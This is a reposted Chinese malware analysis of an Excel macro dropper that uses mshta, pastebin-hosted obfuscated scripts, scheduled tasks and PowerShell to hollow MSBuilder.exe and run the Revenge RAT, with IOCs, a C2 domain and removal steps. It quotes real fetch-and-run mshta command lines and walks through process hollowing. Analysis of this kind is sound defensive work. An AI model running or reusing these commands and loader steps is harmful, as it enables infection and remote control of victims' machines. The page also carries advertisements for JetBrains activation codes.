大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE稳定放心使用
本帖最后由 Yennfer_ 于 2019-9-24 09:47 编辑
萌新分析,很多不足,请大佬们提出问题,共同学习。
基本信息FileNameFileSizeFileTypeMD5
Order_679873892xls47,4722 ByteRat7641fef8abc7cb24b66655d11ef3daf2
简介
病毒是一个宏病毒,点击启用宏后会通过mshta.exe来访问url,得到要执行的代码,病毒会创建计划任务与设置开机自启,通过powershell执行代码,从url得到两段PE数据,通过宏加载第一个PE文件,然后通过第一个PE文件创建傀儡进程,傀儡进程是一个远控
流程图
9-21.png (35.65 KB, 下载次数: 7)
2019-9-24 09:47 上传
详细分析
解密
病毒会调用mshta.exehttp://bit.ly/8hsshjahassahsh打开网站后,发现是空白,在浏览器F12,查看网络请求,刷新页面
111.png (162.94 KB, 下载次数: 9)
2019-9-21 21:01 上传
往下滑,找到script代码,复制出来,复制到浏览器的console
112.png (77.52 KB, 下载次数: 7)
2019-9-21 21:01 上传
去掉结尾的,把unscape之前的内容改为console.log(,输出解密结果
113.png (54.27 KB, 下载次数: 5)
2019-9-21 21:01 上传
StrReverse作用是使字符串反序,整理一下
114.png (29.78 KB, 下载次数: 6)
2019-9-21 21:01 上传
最后会执行命令 WScript.Shell.RUN mshtahttp://www.pastebin.com/raw/nv5d9pYu
访问这个url后会发现这个页面已经挂了,但是在ANYRUN有人跑过这个样本,可以看见传回的参数
115.png (222.41 KB, 下载次数: 5)
2019-9-21 21:01 上传
同样的方法在console跑一遍,然后整理一下
116.png (103.02 KB, 下载次数: 5)
2019-9-21 21:02 上传
结束进程
第一段代码,调用CMD关闭进程winword.exe、excel.exe、MSPUB.exe、POWERPNT.exe
117.png (28.17 KB, 下载次数: 4)
2019-9-21 21:02 上传
创建计划任务
第二段代码,创建一个计划任务,名为Windows Update,每60分钟执行一次,执行的内容是
mshta.exehttp://pastebin.com/raw/vXpe74L2
118.png (37.52 KB, 下载次数: 5)
2019-9-21 21:02 上传
解密计划任务执行的内容
在浏览器打开url后,全都是混淆的代码
119.png (60.48 KB, 下载次数: 7)
2019-9-21 21:03 上传
用一样的方法在Console里面用Console.log输出出来
120.png (178.17 KB, 下载次数: 6)
2019-9-21 21:03 上传
复制到notepad++,看见代码最下面有个replace
121.png (2.6 KB, 下载次数: 4)
2019-9-21 21:03 上传
按Ctrl+H将中间的字符串替换掉
122.png (64.31 KB, 下载次数: 6)
2019-9-21 21:03 上传
得到两个字符串,用StrReverse函数将字符串反过来,最后是用powershell执行这段代码
123.png (14.28 KB, 下载次数: 5)
2019-9-21 21:04 上传
代码解密出来为
124.png (37.98 KB, 下载次数: 7)
2019-9-21 21:04 上传
利用powershell执行,第三行的代码来自urlhttps://pastebin.com/raw/wMG90xwi
125.png (115.94 KB, 下载次数: 5)
2019-9-21 21:04 上传
经过解密后:得到一个MZ头的PE数据
126.png (54.51 KB, 下载次数: 5)
2019-9-21 21:04 上传
第四行的代码url为https://pastebin.com/raw/W455MkAZ
127.png (33.16 KB, 下载次数: 6)
2019-9-21 21:05 上传
经过解密后,也可以得到MZ开头的数据
128.png (38.19 KB, 下载次数: 6)
2019-9-21 21:05 上传
给创建傀儡进程传参
这里先创建一个实例,类和方法都来自第一段数据dll中,然后传入两个参数,第一个是创建的进程名“MSBuiler.exe”,第二个参数是第二段获取的PE结构数据
168.png (29.22 KB, 下载次数: 2)
2019-9-23 11:31 上传
调用powershell,执行上面代码
130.png (68.41 KB, 下载次数: 4)
2019-9-21 21:06 上传
第二段代码内容:
131.png (48.64 KB, 下载次数: 6)
2019-9-21 21:06 上传
创建计划任务
访问http://pastebin.com/raw//JdTuFmc5获得要执行的代码
133.png (128.32 KB, 下载次数: 4)
2019-9-21 21:08 上传
和前面一样,改成console.log
134.png (182.4 KB, 下载次数: 5)
2019-9-21 21:08 上传
解密之后,发现与上一段代码相同,只是计划任务时间从60分钟运行一次,变成了300分钟运行一次修改注册表
第四段代码修改注册表,内容是http://pastebin.com/raw/CGe3S2Vf取回的内容
135.png (27.81 KB, 下载次数: 5)
2019-9-21 21:09 上传
136.png (88.4 KB, 下载次数: 5)
2019-9-21 21:09 上传
一样,放进console里面,改成console.log,解密出的代码如图
137.png (167.81 KB, 下载次数: 5)
2019-9-21 21:09 上传
最后还是和前两段一样的内容,在注册表自启动中写入,利用Powershell执行代码
138.png (31.54 KB, 下载次数: 5)
2019-9-21 21:09 上传
反混淆
通过前面MSBuilder.exe编译可以得到两个PE文件,一个DLL,一个EXE,都是用.net编译,都可用de4dot反混淆
139.png (89.69 KB, 下载次数: 5)
2019-9-21 21:10 上传
反混淆后使用dnSpy查看dll文件,发现其中还是有很多混淆,是ConfuerEX,用工具解一下ConfuerEX混淆
解混淆之前:
140.png (23.82 KB, 下载次数: 5)
2019-9-21 21:11 上传
解混淆之后:
141.png (23.09 KB, 下载次数: 7)
2019-9-21 21:11 上传
在JS代码最后,会调用.dll中的类和方法
142.png (23.47 KB, 下载次数: 5)
2019-9-21 21:11 上传
143.png (23.16 KB, 下载次数: 7)
2019-9-21 21:11 上传
创建傀儡进程
在Dodo函数传入两个参数,第一个是JS代码中写的MSBuilder,第二个是JS代码中的$f,就是前面解密出的exe文件
144.png (19.14 KB, 下载次数: 4)
2019-9-21 21:12 上传
在五个目录下查找MSBuilder.exe
145.png (35.67 KB, 下载次数: 5)
2019-9-21 21:12 上传
当查找到MSBuilder后,就执行下面的代码
146.png (32.47 KB, 下载次数: 4)
2019-9-21 21:13 上传
这个地方调用了tickleme函数,tickleme函数又调用了PEHeaderE和FUN函数
147.png (44.76 KB, 下载次数: 4)
2019-9-21 21:13 上传
PEHeaderE函数:
148.png (69.14 KB, 下载次数: 5)
2019-9-21 21:13 上传
FUN函数里又调用了Smethod_0函数,传入的第一个参数是MSBuidler.exe第二个参数是exe的十六进制数据
149.png (31.22 KB, 下载次数: 5)
2019-9-21 21:13 上传
Smethod_0函数,先创建了一个MSBuilder的进程
150.png (26.17 KB, 下载次数: 5)
2019-9-21 21:13 上传
获取到EXE的PE头和ImageBase
151.png (33.29 KB, 下载次数: 6)
2019-9-21 21:13 上传
判断是32位系统或64位系统,调用获取线程上下文函数
152.png (36.73 KB, 下载次数: 5)
2019-9-21 21:14 上传
从内存中读取4字节数据,然后卸载映像,清空内存,方便后面注入
153.png (34.82 KB, 下载次数: 5)
2019-9-21 21:14 上传
得到exe ImageBase的大小然后申请对应大小的空间
154.png (52.56 KB, 下载次数: 4)
2019-9-21 21:14 上传
在申请的空间中写入exe的header
155.png (37.47 KB, 下载次数: 6)
2019-9-21 21:15 上传
然后获取到节表,遍历写入节表的所有节
156.png (47.7 KB, 下载次数: 5)
2019-9-21 21:15 上传
157.png (59.08 KB, 下载次数: 5)
2019-9-21 21:15 上传
将前面获取到的线程上下文放回,然后唤醒线程,完成创建傀儡进程,执行exe里的内容
158.png (58.53 KB, 下载次数: 4)
2019-9-21 21:15 上传
EXE
exe中可以看见C2服务器信息、互斥量、ID等信息
159.png (27.04 KB, 下载次数: 5)
2019-9-21 21:16 上传
进来先找到main函数
163.png (13.48 KB, 下载次数: 4)
2019-9-23 10:09 上传
.SCG就是new的自己,然后再调用Execute()函数,Execute函数内分别是This.SC、This.PT、This.INST三个函数,每个函数创建了一共线程,执行不同的代码
164.png (21.19 KB, 下载次数: 2)
2019-9-23 10:09 上传
165.png (17.75 KB, 下载次数: 3)
2019-9-23 10:09 上传
其中包含有对C2服务器的TCP链接
166.png (32.31 KB, 下载次数: 3)
2019-9-23 10:09 上传
获得主机各种信息包括病毒ID、IP、主机名、系统信息、内存、杀软信息等,并用key值(lunlaylo)做分隔符,然后发送到服务器
167.png (96.89 KB, 下载次数: 5)
2019-9-23 10:09 上传
谷歌了一下互斥量“RV_MUTEX-WindowsUpdateSysten32”,发现是一个成熟的远控,名叫” Revenge Rat”
样本溯源File NameMD5
Order_679873892xls7641fef8abc7cb24b66655d11ef3daf2
.dlld1726dc5808c22be63507e06bbdc087
.exeesd785a808f7272fb79E33a66570d844
C2:meandmyjoggar.duckdns.org
URL:http://www.pastebin.com/raw/nv5d9pYu
http://pastebin.com/raw/vXpe74L2
https://pastebin.com/raw/W455MkAZ
http://pastebin.com/raw//JdTuFmc5
http://pastebin.com/raw/CGe3S2Vf
MUTEX:RV_MUTEX-WindowsUpdateSysten32查杀方案
删除注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate
删除名为Windows Update和Update的调用mshta.exe的计划任务
结束进程“MSBuilder.exe
总结
病毒使用excel中的宏执行代码,执行的代码都是从url中获取然后解密出来得到,添加的自启动或计划任务也没有程序落地,每次运行都从url得到数据创建一个傀儡进程实现远控
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/186340.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...